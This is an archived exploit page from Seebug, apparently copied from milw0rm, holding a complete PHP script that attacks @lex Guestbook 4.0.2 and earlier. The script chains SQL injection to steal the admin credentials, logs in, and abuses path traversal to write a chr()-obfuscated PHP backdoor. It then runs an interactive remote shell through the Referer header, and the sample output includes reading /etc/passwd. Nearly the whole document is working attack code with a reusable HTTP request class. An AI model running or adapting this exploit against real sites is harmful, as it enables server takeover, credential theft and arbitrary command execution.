Lucene search

K
seebugRootSSV:64396
HistoryJul 01, 2014 - 12:00 a.m.

@lex Guestbook <= 4.0.2 - Remote Command Execution Exploit

2014-07-0100:00:00
Root
www.seebug.org
41

No description provided by source.


                                                #!/usr/bin/php
&#60;?php
/*/
 |
 | header&#62; @lex Guestbook &#60;= 4.0.2 Remote Command Execution Exploit
 | header&#62; ========================================================
 | status&#62; Retrieving the administrator password
 | sploit&#62; AdminUsername::root
 | sploit&#62; AdminPassword::toor
 | status&#62; Trying to get logged in
 | sploit&#62; Done
 | status&#62; Trying to add a skin
 | sploit&#62; Done
 | status&#62; Writing the malicious skin
 | $shell&#62; whoami
 | darkfig
 |
 | $shell&#62; cat /etc/passwd ...
 |
/*/

if($argc &#60; 2)
{
       print &#34;\n---------------------------------------------------------&#34;;
       print &#34;\nAffected.scr..: @lex Guestbook &#60;= 4.0.2&#34;; // last version
       print &#34;\nPoc.ID........: 20070107&#34;;
       print &#34;\nType..........: PHP Code Execution&#34;;
       print &#34;\nRisk.level....: High&#34;;
       print &#34;\nSrc.download..: www.alexphpteam.com&#34;;
       print &#34;\nPoc.link......: acid-root.new.fr/poc/20070107.txt&#34;;
       print &#34;\nCredits.......: DarkFig&#34;;
       print &#34;\n---------------------------------------------------------&#34;;
       print &#34;\nUsage.........: php xpl.php &#60;url&#62;&#34;;
       print &#34;\nProxyOptions..: &#60;proxhost:proxport&#62; &#60;proxuser:proxpass&#62;&#34;;
       print &#34;\nExample.......: php xpl.php http://victim.com/@lexgb/&#34;;
       print &#34;\n---------------------------------------------------------\n&#34;;
       exit(1);
}

$url=$argv[1];
$prs=$argv[2];
$pra=$argv[3];

$xpl = new phpsploit();
$xpl-&#62;agent(&#34;Sploitzilla&#34;);
if(!empty($prs)) $xpl-&#62;proxy($prs);
if(!empty($pra)) $xpl-&#62;proxyauth($pra);

/*/
 |
 | index.php
 | =========
 | ... include($chem_absolu.&#34;include/livre_include.&#34;.$alex_livre_ext);
 |
 |
 | livre_include.php -&#62; Local File Inclusion
 | =================
 | ... set_magic_quotes_runtime(0); // thx =)
 | ... if (isset($_GET[&#39;lang&#39;]) && $_GET[&#39;lang&#39;] && file_exists($chem_absolu.&#34;languages/&#34;.$_GET[&#39;lang&#39;].&#34;.&#34;.$alex_livre_ext))
 | $f_language = str_replace(&#34;..&#34;,&#34;&#34;,$_GET[&#39;lang&#39;]); // We can&#39;t use .... because of file_exists() verification but ... =]
 | include($chem_absolu.&#34;languages/&#34;.$f_language.&#34;.&#34;.$alex_livre_ext);
 |
 |
 |  index.php -&#62; SQL Injection
 |  =========
 |  ... sql_select_query(&#34;msg&#34;, &#34;alex_livre_txt_lang&#34;, &#34;WHERE lang=&#39;&#34;.$f_language.&#34;&#39; and `type`=&#39;titre&#39;&#34;);
 |  // &#34;SELECT msg FROM `alex_livre_txt_lang` WHERE lang=&#39;$f_language&#39; and type=`titre`
 |
/*/

$sql = &#34;index.php?lang=english.php%00&#39;%20union%20select%20&#34;.
      &#34;concat(&#39;XPLLogin:&#39;,(select%20login%20from%20alex_livr&#34;.
      &#34;e_users%20LIMIT%201),&#39;XPLPass:&#39;,(select%20pass%20from&#34;.
      &#34;%20alex_livre_users%20LIMIT%201))/*&#34;;

print &#34;\nheader&#62; @lex Guestbook &#60;= 4.0.2 Remote Command Execution Exploit&#34;;
print &#34;\nheader&#62; ========================================================&#34;;
print &#34;\nstatus&#62; Retrieving the administrator password&#34;;
$xpl-&#62;get($url.$sql);

if(preg_match(&#39;#&#60;div class=&#34;d_title&#34;&#62;XPLLogin:(.*)XPLPass:(.*)&#60;/div&#62;#&#39;,$xpl-&#62;getcontent(),$count))
print &#34;\nsploit&#62; AdminUsername::&#34;.$count[1].&#34;\nsploit&#62; AdminPassword::&#34;.$count[2];
else die(&#34;\nsploit&#62; Exploit failed&#34;);

print &#34;\nstatus&#62; Trying to get logged in&#34;;
$xpl-&#62;post($url.&#34;admin/index.php&#34;,&#34;f_login=&#34;.$count[1].&#34;&f_pass=&#34;.$count[2].&#34;&f_identif=Identification&#34;);
if(preg_match(&#34;#f_cadres\.php\?f_sid=([a-z0-9]{32})#&#34;,$xpl-&#62;getheader(),$sid)) print &#34;\nsploit&#62; Done&#34;;
else die(&#34;\nsploit&#62; Exploit failed&#34;);

print &#34;\nstatus&#62; Trying to add a skin&#34;;
// skins.php ... @mkdir($chem_absolu.&#34;templates/skins/&#34;.$_POST[&#39;aj_skin&#39;].&#34;/&#34;, 0755)
$xpl-&#62;post($url.&#34;admin/skins.php?f_sid=&#34;.$sid[1],&#34;aj_skin=../../languages/d4h4x0rskin&ajouter=Ajouter&#34;);
if(!preg_match(&#39;#alert\(&#34;ERREUR\n#&#39;,$xpl-&#62;getcontent())) print &#34;\nsploit&#62; Done&#34;;
else die(&#34;\nsploit&#62; Exploit failed&#34;);

$scode = &#34;chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).&#34;.
        &#34;chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).&#34;.
        &#34;chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).&#34;.
        &#34;chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).&#34;.
        &#34;chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).&#34;.
        &#34;chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).&#34;.
        &#34;chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).&#34;.
        &#34;chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)&#34;;

$data  = &#34;skin_edit=skins.php%3Ff_sid%3D&#34;.$sid[1].&#34;%26skin_edit&#34;.
        &#34;%3D../../languages/d4h4x0rskin&alex_livre=&#60;?php\r\n@e&#34;.
        &#34;val($scode);exit(0);\r\n?&#62;&add_message=&nb_message_pa&#34;.
        &#34;ge=&list_pages=&corps_messages=&space=&assembly=&enre&#34;.
        &#34;gistrer=Enregistrer&#34;;

print &#34;\nstatus&#62; Writing the malicious skin\n\$shell&#62; &#34;;
// skins.php ... write($chem_absolu.&#34;templates/skins/&#34;.$_GET[&#39;skin_edit&#39;].&#34;/&#34;.$tab_template_guestbook[$i])
$xpl-&#62;post($url.&#34;admin/skins.php?skin_edit=../../languages/d4h4x0rskin&f_sid=&#34;.$sid[1],$data);

while(!preg_match(&#34;#^(quit|exit)$#&#34;,($cmd = trim(fgets(STDIN)))))
{
   $xpl-&#62;addheader(&#34;Referer&#34;,$cmd);
   $xpl-&#62;get($url.&#34;index.php?lang=d4h4x0rskin/alex_livre.css%00&#34;);
   print $xpl-&#62;getcontent();
   print &#34;\n\$shell&#62; &#34;;
}

class phpsploit {

	/**
	 * This function is called by the get()/post() functions.
	 * You don&#39;t have to call it, this is the main function.
	 *
	 * @return $server_response
	 */
	private function sock()
	{
		if(!empty($this-&#62;proxyhost) && !empty($this-&#62;proxyport)) $socket = fsockopen($this-&#62;proxyhost,$this-&#62;proxyport);
		else $socket = fsockopen($this-&#62;host,$this-&#62;port);
		
		if(!$socket) die(&#34;Error: The host doesn&#39;t exist&#34;);
		
		if($this-&#62;method===&#34;get&#34;) $this-&#62;packet = &#34;GET &#34;.$this-&#62;url.&#34; HTTP/1.1\r\n&#34;;
		elseif($this-&#62;method===&#34;post&#34;) $this-&#62;packet = &#34;POST &#34;.$this-&#62;url. &#34; HTTP/1.1\r\n&#34;;
		else die(&#34;Error: Invalid method&#34;);
		
		if(!empty($this-&#62;proxyuser)) $this-&#62;packet .= &#34;Proxy-Authorization: Basic &#34;.base64_encode($this-&#62;proxyuser.&#34;:&#34;.$this-&#62;proxypass).&#34;\r\n&#34;;
		$this-&#62;packet .= &#34;Host: &#34;.$this-&#62;host.&#34;\r\n&#34;;
		
		if(!empty($this-&#62;agent))  $this-&#62;packet .= &#34;User-Agent: &#34;.$this-&#62;agent.&#34;\r\n&#34;;
		if(!empty($this-&#62;header)) $this-&#62;packet .= $this-&#62;header.&#34;\r\n&#34;;
		if(!empty($this-&#62;cookie)) $this-&#62;packet .= &#34;Cookie: &#34;.$this-&#62;cookie.&#34;\r\n&#34;;
		
		$this-&#62;packet .= &#34;Connection: Close\r\n&#34;;
		if($this-&#62;method===&#34;post&#34;)
		{
			$this-&#62;packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
			$this-&#62;packet .= &#34;Content-Length: &#34;.strlen($this-&#62;data).&#34;\r\n\r\n&#34;;
			$this-&#62;packet .= $this-&#62;data.&#34;\r\n&#34;;
		}
		$this-&#62;packet .= &#34;\r\n&#34;;
		$this-&#62;recv = &#39;&#39;;
		
		fputs($socket,$this-&#62;packet);
		while(!feof($socket)) $this-&#62;recv .= fgets($socket);
		fclose($socket);
		
		if($this-&#62;cookiejar) $this-&#62;cookiejar($this-&#62;getheader($this-&#62;recv));
		if($this-&#62;allowredirection) return $this-&#62;allowredirection($this-&#62;recv);
		else return $this-&#62;recv;
	}
	

	/**
	 * This function allows you to add several cookie in the
	 * request. Several methods are supported:
	 * 
	 * $this-&#62;addcookie(&#34;name&#34;,&#34;value&#34;);
	 * or
	 * $this-&#62;addcookie(&#34;name=newvalue&#34;);
	 * or
	 * $this-&#62;addcookie(&#34;othername=overvalue; xx=zz; y=u&#34;);
	 * 
	 * @param string $cookiename
	 * @param string $cookievalue
	 * 
	 */
	public function addcookie($cookn,$cookv=&#39;&#39;)
	{
		// $this-&#62;addcookie(&#34;name&#34;,&#34;value&#34;); work avec replace
		if(!empty($cookv))
		{
			if($cookv === &#34;deleted&#34;) $cookv=&#39;&#39;; // cookiejar(1) && Set-Cookie: name=delete
			if(!empty($this-&#62;cookie))
			{
			    if(preg_match(&#34;/$cookn=/&#34;,$this-&#62;cookie))
			    {
			    	$this-&#62;cookie = preg_replace(&#34;/$cookn=(\S*);/&#34;,&#34;$cookn=$cookv;&#34;,$this-&#62;cookie);
			    }
			    else
			    {
			    	$this-&#62;cookie .= &#34; &#34;.$cookn.&#34;=&#34;.$cookv.&#34;;&#34;; // &#34; &#34;.
			    }
			}
			else
			{
				$this-&#62;cookie = $cookn.&#34;=&#34;.$cookv.&#34;;&#34;;
			}
		}
		// $this-&#62;addcookie(&#34;name=value; othername=othervalue&#34;);
		else
		{
	    	 if(!empty($this-&#62;cookie))
	    	 {
	    	 	$cookn = preg_replace(&#34;/(.*);$/&#34;,&#34;$1&#34;,$cookn);
	    	 	$cookarr = explode(&#34;;&#34;,str_replace(&#34; &#34;, &#34;&#34;,$cookn));
	    	 	for($i=0;$i&#60;count($cookarr);$i++)
	    	 	{
	    	 		preg_match(&#34;/(\S*)=(\S*)/&#34;,$cookarr[$i],$matches);
	    	 		$cookn = $matches[1];
	    	 		$cookv = $matches[2];
	    	 		$this-&#62;addcookie($cookn,$cookv);
	    	 	}
	    	 }
			 else
			 {
			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===&#34;;&#34;) ? $cookn : $cookn.&#34;;&#34;;
			 	$this-&#62;cookie = $cookn;			
			 }
		}
	}
	
	
	/**
	 * This function allows you to add several headers in the
	 * request. Several methods are supported:
	 *
	 * $this-&#62;addheader(&#34;headername&#34;,&#34;headervalue&#34;);
	 * or
	 * $this-&#62;addheader(&#34;headername: headervalue&#34;);
	 *
	 * @param string $headername
	 * @param string $headervalue
	 */
	public function addheader($headern,$headervalue=&#39;&#39;)
	{
		// $this-&#62;addheader(&#34;name&#34;,&#34;value&#34;);
		if(!empty($headervalue))
		{
			if(!empty($this-&#62;header))
			{
				if(preg_match(&#34;/$headern:/&#34;,$this-&#62;header))
				{
					$this-&#62;header = preg_replace(&#34;/$headern: (\S*)/&#34;,&#34;$headern: $headervalue&#34;,$this-&#62;header);
				}
				else
				{
					$this-&#62;header .= &#34;\r\n&#34;.$headern.&#34;: &#34;.$headervalue;
				}
			}
			else
			{
				$this-&#62;header=$headern.&#34;: &#34;.$headervalue;
			}
		}
		// $this-&#62;addheader(&#34;name: value&#34;);
		else 
		{
			if(!empty($this-&#62;header))
			{
				$headarr = explode(&#34;: &#34;,$headern);
				$headern = $headarr[0];
				$headerv = $headarr[1];
				$this-&#62;addheader($headern,$headerv);
			}
			else
			{
				$this-&#62;header=$headern;
			}
		}
	}
	

	/**
	 * This function allows you to use an http proxy server.
	 * Several methods are supported:
	 * 
	 * $this-&#62;proxy(&#34;proxyip&#34;,&#34;8118&#34;);
	 * or
	 * $this-&#62;proxy(&#34;proxyip:8118&#34;)
	 *
	 * @param string $proxyhost
	 * @param integer $proxyport
	 */
	public function proxy($proxy,$proxyp=&#39;&#39;)
	{
		// $this-&#62;proxy(&#34;localhost:8118&#34;);
		if(empty($proxyp))
		{
			preg_match(&#34;/^(\S*):(\d+)$/&#34;,$proxy,$proxarr);
			$proxh = $proxarr[1];
			$proxp = $proxarr[2];
			$this-&#62;proxyhost=$proxh;
			$this-&#62;proxyport=$proxp;
		}
		// $this-&#62;proxy(&#34;localhost&#34;,8118);
		else 
		{
			$this-&#62;proxyhost=$proxy;
			$this-&#62;proxyport=intval($proxyp);
		}
		if($this-&#62;proxyport &#62; 65535) die(&#34;Error: Invalid port number&#34;);
	}
	

	/**
	 * This function allows you to use an http proxy server
	 * which requires a basic authentification. Several
	 * methods are supported:
	 * 
	 * $this-&#62;proxyauth(&#34;darkfig&#34;,&#34;dapasswd&#34;);
	 * or
	 * $this-&#62;proxyauth(&#34;darkfig:dapasswd&#34;);
	 *
	 * @param string $proxyuser
	 * @param string $proxypass
	 */
	public function proxyauth($proxyauth,$proxypasse=&#39;&#39;)
	{
		// $this-&#62;proxyauth(&#34;darkfig:password&#34;);
		if(empty($proxypasse))
		{
			preg_match(&#34;/^(.*):(.*)$/&#34;,$proxyauth,$proxautharr);
			$proxu = $proxautharr[1];
			$proxp = $proxautharr[2];
			$this-&#62;proxyuser=$proxu;
			$this-&#62;proxypass=$proxp;
		}
		// $this-&#62;proxyauth(&#34;darkfig&#34;,&#34;password&#34;);
		else
		{
			$this-&#62;proxyuser=$proxyauth;
			$this-&#62;proxypass=$proxypasse;
		}
	}

	
	/**
	 * This function allows you to set the &#34;User-Agent&#34; header.
	 * Several methods are possible to do that:
	 * 
	 * $this-&#62;agent(&#34;Mozilla Firefox&#34;);
	 * or
	 * $this-&#62;addheader(&#34;User-Agent: Mozilla Firefox&#34;);
	 * or
	 * $this-&#62;addheader(&#34;User-Agent&#34;,&#34;Mozilla Firefox&#34;);
	 * 
	 * @param string $useragent
	 */
	public function agent($useragent)
	{
		$this-&#62;agent=$useragent;
	}

	
	/**
	 * This function returns the header which will be
	 * in the next request.
	 * 
	 * $this-&#62;showheader();
	 *
	 * @return $header
	 */
	public function showheader()
	{
		return $this-&#62;header;
	}

	
	/**
	 * This function returns the cookie which will be
	 * in the next request.
	 * 
	 * $this-&#62;showcookie();
	 *
	 * @return $storedcookies
	 */
	public function showcookie()
	{
		return $this-&#62;cookie;
	}

	
	/**
	 * This function returns the last formed
	 * http request (the http packet).
	 * 
	 * $this-&#62;showlastrequest();
	 * 
	 * @return $last_http_request
	 */
	public function showlastrequest()
	{
		return $this-&#62;packet;
	}
	
	
	/**
	 * This function sends the formed http packet with the
	 * GET method. You can precise the port of the host.
	 * 
	 * $this-&#62;get(&#34;http://localhost&#34;);
	 * $this-&#62;get(&#34;http://localhost:888/xd/tst.php&#34;);
	 * 
	 * @param string $urlwithpath
	 * @return $server_response
	 */
	public function get($url)
	{
		$this-&#62;target($url);
		$this-&#62;method=&#34;get&#34;;
		return $this-&#62;sock();
	}

	
	/**
	 * This function sends the formed http packet with the
	 * POST method. You can precise the port of the host.
	 * 
	 * $this-&#62;post(&#34;http://localhost/index.php&#34;,&#34;admin=1&user=dark&#34;);
	 *
	 * @param string $urlwithpath
	 * @param string $postdata
	 * @return $server_response
	 */	
	public function post($url,$data)
	{
		$this-&#62;target($url);
		$this-&#62;method=&#34;post&#34;;
		$this-&#62;data=$data;
		return $this-&#62;sock();
	}

	
	/**
	 * This function returns the content of the server response
	 * without the headers.
	 * 
	 * $this-&#62;getcontent($this-&#62;get(&#34;http://localhost/&#34;));
	 * or
	 * $this-&#62;getcontent();
	 *
	 * @param string $server_response
	 * @return $onlythecontent
	 */
	public function getcontent($code=&#39;&#39;)
	{
		if(empty($code)) $code = $this-&#62;recv;
		$content = explode(&#34;\n&#34;,$code);
		$onlycode = &#39;&#39;;
		for($i=1;$i&#60;count($content);$i++)
		{
			if(!preg_match(&#34;/^(\S*):/&#34;,$content[$i])) $ok = 1;
			if($ok) $onlycode .= $content[$i].&#34;\n&#34;;
		}
		return $onlycode;
	}

	
	/**
	 * This function returns the headers of the server response
	 * without the content.
	 * 
	 * $this-&#62;getheader($this-&#62;post(&#34;http://localhost/x.php&#34;,&#34;x=1&z=2&#34;));
	 * or
	 * $this-&#62;getheader();
	 *
	 * @param string $server_response
	 * @return $onlytheheaders
	 */
	public function getheader($code=&#39;&#39;)
	{
		if(empty($code)) $code = $this-&#62;recv;
		$header = explode(&#34;\n&#34;,$code);
		$onlyheader = $header[0].&#34;\n&#34;;
		for($i=1;$i&#60;count($header);$i++)
		{
			if(!preg_match(&#34;/^(\S*):/&#34;,$header[$i])) break;
			$onlyheader .= $header[$i].&#34;\n&#34;;
		}
		return $onlyheader;
	}

	
	/**
	 * This function is called by the cookiejar() function.
	 * It adds the value of the &#34;Set-Cookie&#34; header in the &#34;Cookie&#34;
	 * header for the next request. You don&#39;t have to call it.
	 * 
	 * @param string $server_response
	 */
	private function getcookie($code)
	{
		$carr = explode(&#34;\n&#34;,str_replace(&#34;\r\n&#34;,&#34;\n&#34;,$code));
		for($z=0;$z&#60;count($carr);$z++)
		{
			if(preg_match(&#34;/set-cookie: (.*)/i&#34;,$carr[$z],$cookarr))
			{
				$cookie[] = preg_replace(&#34;/expires=(.*)(GMT||UTC)(\S*)$/i&#34;,&#34;&#34;,preg_replace(&#34;/path=(.*)/i&#34;,&#34;&#34;,$cookarr[1]));
			}
		}

		for($i=0;$i&#60;count($cookie);$i++)
		{
			preg_match(&#34;/(\S*)=(\S*);/&#34;,$cookie[$i],$matches);
	    	        $cookn = $matches[1];
	    	        $cookv = $matches[2];
	    	        $this-&#62;addcookie($cookn,$cookv);
		}
    }

	
	/**
	 * This function is called by the get()/post() functions.
	 * You don&#39;t have to call it.
	 *
	 * @param string $urltarg
	 */
	private function target($urltarg)
	{
		if(!preg_match(&#34;/^http:\/\/(.*)\//&#34;,$urltarg)) $urltarg .= &#34;/&#34;;
		$this-&#62;url=$urltarg;
		
		$array = explode(&#34;/&#34;,str_replace(&#34;http://&#34;,&#34;&#34;,preg_replace(&#34;/:(\d+)/&#34;,&#34;&#34;,$urltarg)));
		$this-&#62;host=$array[0];

		preg_match(&#34;/:(\d+)\//&#34;,$urltarg,$matches);
		$this-&#62;port=empty($matches[1]) ? 80 : $matches[1];
		
		$temp = str_replace(&#34;http://&#34;,&#34;&#34;,preg_replace(&#34;/:(\d+)/&#34;,&#34;&#34;,$urltarg));
		preg_match(&#34;/\/(.*)\//&#34;,$temp,$matches);
		$this-&#62;path=str_replace(&#34;//&#34;,&#34;/&#34;,&#34;/&#34;.$matches[1].&#34;/&#34;);
	
		if($this-&#62;port &#62; 65535) die(&#34;Error: Invalid port number&#34;);
	}
	
	
	/**
	 * If you call this function, the script will
	 * extract all &#34;Set-Cookie&#34; headers values
	 * and it will automatically add them into the &#34;Cookie&#34; header
	 * for all next requests.
	 *
	 * $this-&#62;cookiejar(1); // enabled
	 * $this-&#62;cookiejar(0); // disabled
	 * 
	 */
	public function cookiejar($code)
	{
		if($code===0) $this-&#62;cookiejar=&#39;&#39;;
		if($code===1) $this-&#62;cookiejar=1;
		else
		{
			$this-&#62;getcookie($code);
		}
	}


	/**
	 * If you call this function, the script will
	 * follow all redirections sent by the server.
	 * 
	 * $this-&#62;allowredirection(1); // enabled
	 * $this-&#62;allowredirection(0); // disabled
	 * 
	 * @return $this-&#62;get($locationresponse)
	 */
	public function allowredirection($code)
	{
		if($code===0) $this-&#62;allowredirection=&#39;&#39;;
		if($code===1) $this-&#62;allowredirection=1;
		else
		{
			if(preg_match(&#34;/(location|content-location|uri): (.*)/i&#34;,$code,$codearr))
			{
				$location = str_replace(chr(13),&#39;&#39;,$codearr[2]);
				if(!eregi(&#34;://&#34;,$location))
				{
					return $this-&#62;get(&#34;http://&#34;.$this-&#62;host.$this-&#62;path.$location);
				}
				else
				{
					return $this-&#62;get($location);
				}
			}
			else
			{
				return $code;
			}
		}
	}
	
	
	/**
	 * This function allows you to reset some parameters:
	 * 
	 * $this-&#62;reset(header); // headers cleaned
	 * $this-&#62;reset(cookie); // cookies cleaned
	 * $this-&#62;reset();       // clean all parameters
	 *
	 * @param string $func
	 */
	public function reset($func=&#39;&#39;)
	{
		switch($func)
		{
			case &#34;header&#34;:
			$this-&#62;header=&#39;&#39;;
			break;
			
			case &#34;cookie&#34;:
			$this-&#62;cookie=&#39;&#39;;
			break;
			
			default:
		        $this-&#62;cookiejar=&#39;&#39;;
		        $this-&#62;header=&#39;&#39;;
		        $this-&#62;cookie=&#39;&#39;;
		        $this-&#62;allowredirection=&#39;&#39;; 
		        $this-&#62;agent=&#39;&#39;;
		        break;
		}
	}
}

# milw0rm.com [2007-01-08]